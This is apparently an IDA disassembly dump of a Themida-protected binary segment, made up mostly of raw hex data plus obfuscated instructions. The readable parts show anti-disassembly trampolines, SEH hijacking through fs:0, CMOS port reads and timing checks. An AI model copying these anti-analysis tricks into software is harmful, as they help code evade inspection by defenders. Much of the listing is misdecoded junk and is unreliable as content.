		dd 66026A06h, 55FFDF81h, 0A850F90h, 0F000000h, 482h, 0ABBB6600h
		dd 5250501Fh, 52505250h, 585A310Fh, 0EE8310Fh, 16000000h
		dd 0EECFACD9h, 2C3D054Bh, 3C01AA20h, 585A5F02h,	820F310Fh
		dd 6, 820Fh, 585A0000h,	6595FF90h, 6606112Bh, 75E9DF8Bh
		dd 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 615D296h
		push	0
		push	ebx
		call	sub_596E6E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596E6E	proc near		; CODE XREF: Themida_:00596E66p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_596E6E	endp

; ---------------------------------------------------------------------------
		xor	edi, edi
		or	edi, [edi+54h]
		sbb	edx, [esp+edi]
		daa
		jbe	loc_596E93
		mov	edi, [ebp+61104B5h]


loc_596E93:				; CODE XREF: Themida_:00596E87j
		mov	ebx, 7B29509h
		lea	eax, [ebp+6148968h]
		mov	[ebp+6111D01h],	ebx
		push	eax
		mov	di, 0BFA3h
		mov	[esp], eax
		mov	[ebp+611180Dh],	edi
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_596ECB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596ECB	proc near		; CODE XREF: Themida_:00596EC3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_596ECB	endp

; ---------------------------------------------------------------------------
		cmp	ebx, [ecx+60319586h]
		mov	al, ds:0BF0F3960h
		clc
		inc	dword ptr [ebp+61107ADh]
		push	0
		push	ecx
		call	sub_596EF8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596EF8	proc near		; CODE XREF: Themida_:00596EF0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_596EF8	endp

; ---------------------------------------------------------------------------
		mul	byte ptr [edx]
		cmp	esp, edi
		sbb	al, 34h
		jb	short loc_596F72
		xchg	ch, [eax+66h]
		mov	ebx, 6AFC69B5h
		dec	dword ptr [ecx+11237D95h]
		push	es
		push	dword ptr [ebp+61108B9h]
		push	0
		push	edi
		call	sub_596F30
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596F30	proc near		; CODE XREF: Themida_:00596F28p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_596F30	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		xor	eax, 89089377h
		test	esi, ecx
		and	[ecx], edx
		push	es
		mov	[ebp+61131F1h],	edi
		call	dword ptr [ebp+611150Dh]
		jmp	loc_5970D8
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_596F76
; ---------------------------------------------------------------------------
		dw 6924h
		dd 36AA0F6Eh, 0A5112F47h, 202D6759h
		db 0E5h, 8Ah
; ---------------------------------------------------------------------------


loc_596F72:				; CODE XREF: Themida_:00596F0Ej
		pusha
		inc	ebx
		loopne	loc_596F8B


loc_596F76:				; CODE XREF: Themida_:00596F5Dj
		jmp	near ptr loc_596F8C+3
; ---------------------------------------------------------------------------
		db 67h
		dd 582490D3h, 0B874C138h, 0AE2B540Fh
; ---------------------------------------------------------------------------
		rcl	byte ptr [eax-2Dh], 1


loc_596F8B:				; CODE XREF: Themida_:00596F74j
		stosd


loc_596F8C:				; CODE XREF: Themida_:loc_596F76j
		or	eax, 0B0615E90h
		add	[ecx+111E49BDh], cl
		push	es
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	bx, cx
		in	al, 71h		; CMOS Memory
		jz	loc_596FB6
		call	sub_596FB5
		add	dword ptr [esi], 0FFFFFFB9h
		out	dx, eax
		pop	ecx
		test	eax, 76994B62h
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_596FB5	proc near		; CODE XREF: Themida_:00596FA5p
		pop	ebx


loc_596FB6:				; CODE XREF: Themida_:00596F9Fj
		cmp	al, 61h
		jnb	loc_5970D8
		mov	di, 2AF0h
		movzx	ecx, al
		jnz	loc_596FCF
		mov	di, 0D29Ch


loc_596FCF:				; CODE XREF: sub_596FB5+10j
		mov	edx, 6
		mov	[ebp+61129F9h],	edx
		mov	eax, ecx
		jle	loc_596FE3
		stc


loc_596FE3:				; CODE XREF: sub_596FB5+27j
		shr	eax, 4
		jmp	loc_596FF8
; ---------------------------------------------------------------------------
		push	eax
		sub	edi, edx
		sti
		xchg	eax, ebp
		aam	8Bh
		retn
; ---------------------------------------------------------------------------
		db 52h
		dd 2D03C2F4h
; ---------------------------------------------------------------------------


loc_596FF8:				; CODE XREF: sub_596FB5+31j
		mov	ebx, edx
		mul	dx
		mov	edi, ebx
		sub	ecx, eax
		sub	bl, 0AAh
		mov	edx, ecx
		mov	bx, 471Bh
		sub	[ebp+6110909h],	eax
		jmp	loc_5970D8
; ---------------------------------------------------------------------------
		push	ecx
		cmc
		pop	edi
		mov	[ebp+61125ADh],	esi
		mov	eax, [ebp+1]
		jmp	loc_59703D
; ---------------------------------------------------------------------------
		db 7Ah,	98h, 59h
		dd 7D27B8DCh, 923BCFBFh, 135FD03h, 9D2D9295h
		db 29h
; ---------------------------------------------------------------------------


loc_59703D:				; CODE XREF: sub_596FB5+6Fj
		add	eax, 7
		call	near ptr loc_597048+6
		out	dx, al
		add	dl, [eax]


loc_597048:				; CODE XREF: sub_596FB5+8Bp
		jmp	far ptr	567Dh:85781BC8h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+61129D1h]
		pop	ebx
		pop	edi
		add	eax, 0
		or	ebx, [ebp+61122C9h]
		jmp	loc_59706D
; ---------------------------------------------------------------------------
		cmp	eax, 8ACFA88Ah
		retn	5849h
; ---------------------------------------------------------------------------


loc_59706D:				; CODE XREF: sub_596FB5+ABj
		cmp	edx, eax
		jnb	loc_59708E
		call	near ptr loc_59707D+2
		push	es
		sbb	bl, ah


loc_59707D:				; CODE XREF: sub_596FB5+C0p
		call	far ptr	0E95Bh:0DFB70FD8h
		push	eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	edi, 3B7F98DEh
		cmc


loc_59708E:				; CODE XREF: sub_596FB5+BAj
		mov	ecx, [ebp-1]
		mov	[ebp+6110B65h],	ecx
		and	ecx, 1
		jz	loc_5970D8
		movsx	edi, di
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	ebx, [ebp+6113091h]
		pusha
		jmp	loc_5970C2
; ---------------------------------------------------------------------------
		db 0E0h, 0ECh, 8Fh
; ---------------------------------------------------------------------------
		or	[edx-63C8E804h], ecx


loc_5970C2:				; CODE XREF: sub_596FB5+FFj
		mov	ax, 0C1A2h
		popa
		mov	[ebp+1], edx
		mov	[ebp+6110319h],	edi
		jmp	$+5


loc_5970D8:				; CODE XREF: Themida_:00596F57j
					; sub_596FB5+3j ...
		lea	esi, [ebp+6154DA4h]
		push	0
		push	eax
		call	sub_5970E9
		and	[eax-3Dh], bl
sub_596FB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5970E9	proc near		; CODE XREF: sub_596FB5+12Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5970E9	endp

; ---------------------------------------------------------------------------
		db 0E9h, 89h, 8Dh
; ---------------------------------------------------------------------------
		add	[ebx], ecx
		adc	[esi], eax
		push	0
		push	0
		push	ebp
		call	sub_59710D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59710D	proc near		; CODE XREF: Themida_:00597105p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_59710D	endp

; ---------------------------------------------------------------------------
		mov	ebx, 62C4D450h
		call	dword ptr [ebp+61105C5h]
		mov	[ebp+611305Dh],	ebx
		mov	ecx, 0F45h
		add	edi, 8BCB9E1h
		and	ecx, 0FFFFFFFCh
		push	0
		push	edi
		call	sub_597147
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597147	proc near		; CODE XREF: Themida_:0059713Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_597147	endp

; ---------------------------------------------------------------------------
		or	al, [ebx]
		mov	ch, 0F9h
		xchg	eax, ebp
		mov	edx, 4B1A752Dh
		cld
		push	0
		push	eax
		call	sub_59716D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59716D	proc near		; CODE XREF: Themida_:00597165p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_59716D	endp

; ---------------------------------------------------------------------------
		db 0AFh, 9Dh, 23h
; ---------------------------------------------------------------------------
		jmp	loc_597194
; ---------------------------------------------------------------------------
		db 0F5h, 72h, 39h
		dd 0FED82102h, 6B708C20h, 0D5F6F2C3h
; ---------------------------------------------------------------------------


loc_597194:				; CODE XREF: Themida_:00597180j
		sub	eax, eax
		jmp	loc_5971AF
; ---------------------------------------------------------------------------
		db 0EAh
		dd 0BBF590Dh, 0EF26CDBFh, 81146E4Ch, 20208290h
		db 1Eh,	47h, 87h
; ---------------------------------------------------------------------------


loc_5971AF:				; CODE XREF: Themida_:00597196j
		mov	edx, 0
		push	0
		push	ebx
		call	sub_5971BF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5971BF	proc near		; CODE XREF: Themida_:005971B7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5971BF	endp

; ---------------------------------------------------------------------------
		db 7Bh
		dd 0C34E6944h, 0E888E767h, 12h,	3F244548h, 0B19E241Eh
		dd 7735C364h, 0E0E00893h, 0BD8B2708h, 6112195h,	7FBB665Bh
		dd 0C233AD17h, 0D003E8D1h, 7504E983h, 8E9F4h, 0E5E00000h
		dd 27A1C94Ah, 6A741Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 52CFE0C3h, 0D8E1FE8h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h, 50D749EBh
		dd 0A0C4430h, 2229B589h, 958B0611h, 611285Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 57C35747h, 0FAD10159h
		dd 680B3A39h, 832EDB81h, 8D8B388Fh, 6112DD1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4BC35242h, 0F94005F4h
		dd 819D8BEAh, 50061131h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 7E958h, 2D190000h, 6B94A612h, 0A6BB6617h
		dd 81BD83FCh, 61123h, 77840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 562351C3h
		dd 9C62E0BAh, 0B8A410h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 60E8C350h
		dd 64CA8166h, 2ABF6635h, 8D8D6104h, 6114E3Eh, 0D9953360h
		dd 89061130h, 112B31B5h, 0E1FF6106h, 5E8h, 1FB78900h, 0BD8B9787h
		dd 6110D79h, 9BD835Bh, 61127h, 4B9840Fh, 870F0000h, 2
		dd 0BD83B7B7h, 6112709h, 0BF840F01h, 6A000004h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 22D4C353h, 208DF821h, 7E905h, 0FD2D0000h, 6746F08Fh
		dd 0D9B70FB0h, 2709BD83h, 0F030611h, 44B86h, 7E900h, 86590000h
		dd 51028955h, 9D2960CBh, 61103C1h, 8C66DF8Bh, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 28D221BCh, 0AEE87B55h, 7E9FE8Bh, 0DF000000h,	0B98E06BEh
		dd 0E18055A7h, 65BD8904h, 0A061106h, 0F2840FC9h, 66000000h
		dd 0F8CDDB81h, 1BF5858Bh, 33F50611h, 11030585h,	85BD8B06h
		dd 8B061103h, 110AD19Dh, 0E9605006h, 11h, 6C88C62Ah, 26FFB6A5h
		dd 0AF174449h, 5BA2C1DEh, 6E973h, 0A4FC0000h, 0DED1FD47h
		dd 24048961h, 13E9h, 0C5FC2000h, 0E00F04D2h, 3F87B761h
		dd 0B49B3E5Bh, 0DBC189B2h, 0B9C78166h, 6A006A13h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 84F5C353h, 348B68CAh, 481BAD9h, 45CF7424h, 51006A45h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 900A9AA5h, 31771B95h, 11229D9Dh, 0C195FF06h,	2306112Ah
		dd 110E59BDh, 76858906h, 6A0614BDh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6680C356h
		dd 66FCD4BBh, 70C6DF81h, 237E9h, 6E858B00h, 6A0614BDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 37D2C352h, 0EAEA7A71h, 1800C77Ah,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 763FC352h, 2E88482Ah, 0F5A956E0h,	72B58BF5h
		dd 6A0614BDh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 6C8DC355h, 2616538h, 8BFE23B9h
		dd 1114E985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0CE803399h, 89EB3EABh, 1106CDBDh
		dd 89068906h, 111B4D95h, 0F5858B06h, 0E906111Bh, 8, 0B9719414h
		dd 0AE259E70h, 0EFCBF66h, 80044689h, 539680EFh,	14E9h
		dd 0BC8FF900h, 42980DC3h, 34AD49F1h, 7D47248Dh,	9FED1A9Fh
		dd 50505F4Ah, 0BE860h, 0F58B0000h, 0BE1255F9h, 9C7597C3h
		dd 7E95AADh, 0D3000000h, 730D342Dh, 5F6106ADh, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 2F43BDC8h, 0D27A89FDh, 0DE813h, 0B8430000h, 698C174h
		dd 8C92FA30h, 66A338CAh, 0FF5BFE8Bh, 14BD6EB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 17400367h, 0D891D65Bh, 0BF0F3C4Eh, 4E8DFh, 3FF0000h
		dd 820F001Fh, 2, 0BF50DE8Ah, 955088Ah, 424448Bh, 9890Fh
		dd 870F0000h, 3, 8BF88B66h, 895F5000h, 0E8042444h, 7, 4D287ABFh
		dd 0E8971C38h, 14h, 63E46FE5h, 0E62BCC50h, 302468FAh, 99DB41C8h
		dd 0FAA7C8E6h, 5F5B5F56h, 0BDBD8B58h, 8D06111Dh, 14BD7685h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8C18098Dh, 66504A48h, 89846CBBh,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0BEE922C3h, 0EA69C868h, 0FC8A2467h, 2AC195FFh, 0D88B0611h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 21C15EAh, 8D893D66h, 611214Dh, 270985C7h
		dd 30611h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 22632EC3h, 19B50926h, 83061101h
		dd 14BD76BDh, 840F0006h, 64h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 37C35545h, 92C664AEh, 291D8AE0h
		dd 112C7DB5h, 65BD8906h, 0E906110Bh, 4Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 97C35646h, 0EE995h
		dd 3E700000h, 4AAF5C2h,	9570F6A7h, 0C864287Bh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 29C08B00h, 11122DBDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 795630D2h, 18989307h, 23F980B5h,	1126E9BDh
		dd 0CE8A6006h, 58E0Fh, 81660000h, 61D535C9h, 2709BD83h
		dd 0F030611h, 4AE85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 2308FC35h, 0BC5CC73Fh
		dd 0AE99Eh, 6A370000h, 7CCC7356h, 76595286h, 6E9h, 388FB500h
		dd 83E1502Eh, 14BD76BDh, 840F0006h, 463h, 1B4D9D89h, 0B5FF0611h
		dd 614BD76h, 0F55BD23h,	95FF0611h, 6113291h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 22C35242h, 962CCB38h
		dd 3FCF0304h, 0B5BB66D3h, 0A1BD8BCDh, 8B061106h, 14BD6AB5h
		dd 106C706h, 6A000100h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8970C357h, 111D819Dh
		dd 0F5BD8B06h, 96061109h, 8860Fh, 50600000h, 5A310F52h
		dd 50506158h, 0D98B6652h, 63BB310Fh, 5A2BC265h,	6A9658h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 629BBCC3h, 0F2415h, 892832BBh, 111EB595h, 0DEBF0F06h
		dd 0BD76B5FFh, 6A0614h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0CB4E61C3h, 97B771EAh, 89EDDA99h, 110DD5BDh,	0E995FF06h
		dd 6A061100h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0FFC8C355h, 5365B218h,	0E9491559h
		dd 5, 0C13B34F3h, 0BFF78115h, 8B329331h, 14BD6AB5h, 0E3DF8106h
		dd 8B0B2FA8h, 11142585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0BF575C50h, 0C48689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 9A7C20C3h, 28F0F60h, 50000000h, 0CBBE665Eh
		dd 958B61C4h, 611285Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FC35343h, 8BE8959h, 8F55BFA5h, 0BD8B7E39h
		dd 6113235h, 6A04C283h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 6FAFC351h, 1C91520Eh
		dd 5810FBEh, 66000000h,	0E777CF81h, 6A205089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 5B3CC350h, 0F54BFE85h, 0E91A3CB9h, 12h, 834B9CEBh, 0FF2A3735h
		dd 6C12430Ah, 888A1DD7h, 858D3A00h, 614D062h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 49C35747h, 9D89C6C2h
		dd 6111F95h, 0B88689h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 92B06CC3h, 5BD893Ah
		dd 6A061133h, 0A59D8B00h, 89061106h, 11215185h,	76B5FF06h
		dd 6A0614BDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 30BC353h, 3165C884h, 14C1BD33h
		dd 95FF0611h, 6112B65h,	11E9h, 2ED1ED00h, 0B866D76Fh, 0EF84C81h
		dd 5C2AC205h, 0B70F8931h, 0BB6696DBh, 0F50620Ah, 8Ah, 6A9600h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BB8AEEC3h, 23ED56FCh, 0BD76B5FFh, 6A0614h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 5DF2C8C3h, 89661F10h, 112A318Dh, 80BB6606h, 2995FFA8h
		dd 8906110Eh, 110B3195h, 61BD8306h, 61127h, 39840Fh, 13E90000h
		dd 0E000000h, 0CB756473h, 45A1B72Bh, 404A42B3h,	16E5B4D4h
		dd 5096987Dh, 11E951h, 7CEA0000h, 0F53B384h, 0C3FC76B9h
		dd 208762CDh, 5F8748BFh, 999D8B96h, 0FF061113h,	14BD76B5h
		dd 10E906h, 1AB90000h, 6A794347h, 0C8173718h, 2E4639BEh
		dd 95FF1F56h, 61112F1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 81C35545h, 0B194851h,	1ECEDD81h, 4313BBE5h
		dd 953140EDh, 6110F6Dh,	0BD76B5FFh, 0FA8A0614h,	5B995FFh
		dd 8E0F0611h, 0Ch, 6880Fh, 0B5310000h, 6110325h, 13DBD83h
		dd 0F020611h, 3E84h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 5118B489h, 665100E1h
		dd 75CC381h, 0DA8B665Fh, 3101858Bh, 8D290611h, 61114D5h
		dd 660000C6h, 0C7C173BFh, 1104D585h, 6,	1BD2B00h, 0E9061129h
		dd 0FFFFF1B3h, 0CA8B6660h, 1B5D850Bh, 60610611h, 4860Fh
		dd 0B9660000h, 8D89E1B2h, 6111BEDh, 6AC18B61h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 4193C355h, 57412C6Ch, 606491CAh, 554CF81h, 8B0F14E8h
		dd 17h,	12E9h, 0C7C4D700h, 0E107A70Bh, 1E83DEh,	0DA761F0h
		dd 614063D4h, 30E9h, 91420300h,	3Ah, 0Ah dup(0)
		dd 550E900h, 0C5030000h, 252284CAh, 3C2642Ah, 65DC460Ch
		dd 4682246Ah, 7BA00349h, 0BB919E4Ah, 9CF2FD69h,	80D6D90Ah
		dd 652B2426h, 8AB8DFD3h, 99C980AAh, 8143988Ch, 3D257F8Eh
		dd 18CA5C32h, 0BCAEF617h, 0D5126AB3h, 0F2606EDAh, 6345B35h
		dd 1DCF95A6h, 824DE1EFh, 74633A7Eh, 67E12720h, 0CE8F1DF8h
		dd 0A8A874D3h, 18B553B8h, 0E00E01E8h, 67CF9603h, 7D2D5BC9h
		dd 1F1EA53h, 54DC776Fh,	0B7C8D632h, 9355F41Bh, 0C8C77C16h
		dd 0CEC102A0h, 222D1E88h, 0CA211C76h, 1BE2101Fh, 409C4D25h
		dd 0CD728B84h, 3A48A8BBh, 44FC010Eh, 7A75F62Ch,	434CF40Eh
		dd 0ED5FC92Fh, 8DE71BE2h, 924E5F50h, 8886B99Eh,	0AEE0CF96h
		dd 0EBB38B95h, 5AFF0FCDh, 8D000000h, 7F8E8143h,	968D28D8h
		dd 0BE5844CFh, 0F26F8A3Ch, 5F91995Eh, 7FE2DAC4h, 1AC0FCDh
		dd 7C000000h, 728B8443h, 14D63D2Ah, 0FB9C821Bh,	0CF968C4Bh
		dd 803EACD8h, 43F364D0h, 0C0CF968Ch, 0D72DFCB4h, 0F12D1D12h
		dd 968CB05Eh, 7139B7CFh, 0E87B31B8h, 6036392Eh,	450B04C6h
		dd 888743CBh, 37382F75h, 93E11DD6h, 0AAB15F50h,	3155F1BDh
		dd 3BCC6216h, 44A45FDh,	0F3AFA0A2h, 0C1A9A6A1h,	1E11CC28h
		dd 0D168A8Fh, 0CD4F3B13h, 8F970Fh, 0FF2B0000h, 95F5AA58h
		dd 46C9B9CFh, 0CF95F598h, 8FE311AFh, 8887437Dh,	313E2F75h
		dd 778DFDECh, 0FF23FAF5h, 968CAA58h, 9D0BB9CFh,	6C04395h
		dd 3B87CDC2h, 27679E9h,	9E6F60E0h, 718C8346h, 63838414h
		dd 0B57DA665h, 0BEAA6F9Dh, 46F46CB1h, 22042832h, 5B4A0FCDh
		dd 12000000h, 0F8262965h, 0FCF968Ch, 0A9A6A7F1h, 5E84EC54h
		dd 3C18E5EAh, 74F10C03h, 0F76B800Eh, 0CF5D0CB0h, 34F275ABh
		dd 0A04EC10Ch, 0A7CF967Eh, 55AF9B09h, 6A8CE4EBh, 8B844310h
		dd 8D24D772h, 0C42CF96h, 0EF21E5FBh, 7C9A0FCDh,	2ED61415h
		dd 0A2D55D4Eh, 6, 353A2E44h, 82430F7Dh,	8D1AC84Fh, 9B29CF96h
		dd 9A44906Dh, 9FCB0895h, 6AC59171h, 1E12ED69h, 4CF93FC8h
		dd 846C0D43h, 0A4EF60D0h, 0A9D5A6FAh, 88BA821Bh, 7FEDE263h
		dd 0B65D8F19h, 0F060BDB2h, 30AEA1A6h, 3B174640h, 12EBE460h
		dd 0BE202Eh, 2E54056Dh,	8370D8A0h, 6A26F765h, 856535E5h
		dd 0F28632C9h, 85649B4Dh, 0D15206C9h, 4E4AD517h, 9FE41DFCh
		dd 3173D957h, 0A555FA37h, 0A2C9853Ch, 19059816h, 3C7CAAADh
		dd 7D8BC985h, 0EC313E2Bh, 64E63C74h, 8FD9926Bh,	0BFB0B274h
		dd 0BFAF97D9h, 5EE309DCh, 87000001h, 0BAFEF16Dh, 386CB440h
		dd 0ACACC748h, 3B1D5A7h, 0AFA0A2FAh, 0DF0B99E9h, 1F13CDD0h
		dd 74F01BC5h, 0E430CD7Bh, 5F50917Ah, 3513DC21h,	0A14AF432h
		dd 0EB55A8A7h, 59AB177Dh, 0FD2D22EFh, 0AC9856Dh, 83BD40FEh
		dd 3B7F70F1h, 0DCF00D31h, 4D4509h, 0B4EB0000h, 0A76ADB6Bh
		dd 968C82B0h, 0C57381CFh, 0A6741B57h, 0EE4F968Ch, 0CCA4AB94h
		dd 397AC5E3h, 458E06F1h, 0E31336D7h, 24F974Dh, 4FA545DEh
		dd 0B09D959Ah, 354F3B6Fh, 47F9040Bh, 7240D733h,	71CF974Dh
		dd 0BB292627h, 0BFBDD5h, 0B4CF0000h, 0AF17A86Ch, 1D92EE94h
		dd 0D047B3EFh, 0CF968922h, 639F9321h, 0A792A3ECh, 4CF8A8D5h
		dd 0ECC8D543h, 0AB177D72h, 1AE3EC59h, 0D6105226h, 0D005C4D9h
		dd 0DCC9857Fh, 459F6E61h, 0EC09949Bh, 4B19ABBCh, 0F74CA05Eh
		dd 481851CFh, 0C0CF79BFh, 0CCC30290h, 56B0F31h,	18C64985h
		dd 2FC984F5h, 54BC9991h, 163F5000h, 1BCF9AD7h, 1AC410EDh
		dd 0B0AC8815h, 76E4EB5Bh, 9A954D97h, 0B1B2E603h, 4BF9F677h
		dd 88B94ADEh, 0EE047420h, 0CD39717Eh, 4322591h,	50CF9213h
		dd 92130F3Fh, 0FB9814CFh, 125A888Fh, 5BE9CF92h,	3BE2452Dh
		dd 3CD5A7F5h, 28F5FA64h, 0C0CEBA28h, 0DD6658F5h, 84EA8E93h
		dd 386CB40Ah, 42861C48h, 0E880B04Dh, 0AC6E9E47h, 8815A3D5h
		dd 0D7BDB2ACh, 19C934Dh, 4F40871Dh, 0D4FD12BEh,	0ED64DFEh
		dd 51B79890h, 4E0605EBh, 9DC9293Ah, 4AA4CFAh, 57878895h
		dd 0EC9504AAh, 6D05B350h, 543A3537h, 6797B8F4h,	0FC9504AAh
		dd 48FA2840h, 0C78A647h, 4AADB0Bh, 9386895h, 42E08806h
		dd 15C54A87h, 129504ABh, 0A89568E6h, 5F894FD8h,	0BEA8FA50h
		dd 5995C1B1h, 4AB0836h,	6AE11F95h, 9504AABCh, 616ED94Bh
		dd 78EEBFF3h, 0Fh, 7C73F60Ch, 42ECD95Eh, 63176494h, 430686E9h
		dd 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh,	4A926B64h
		dd 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h, 5404EC83h
		dd 8324048Fh, 68042404h, 5D35h,	68241C89h, 0C8h, 55241489h
		dd 864281BDh, 24C16823h, 295B299Ch, 0EC815DEBh,	4, 83242489h
		dd 5A042404h, 24348153h, 18A34742h, 5008428Fh, 8B8h, 81D00100h
		dd 0A3474230h, 34FF5818h, 0C4835A24h, 241C8B04h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFB9673h, 7D7F2AB7h
		dd 16B80587h, 30615E7h,	74E0FFC5h, 53015C7Bh, 0FE241946h
		dd 92065ACh, 0AB4C7B7Ah, 0D35EE51Fh, 146B8389h,	14540EC6h
		dd 0A74988E1h, 0C64DFB52h, 230F8A08h, 5D2031E8h, 1716199Fh
		dd 0E9396527h, 1Eh, 10C4BDF8h, 6 dup(0)
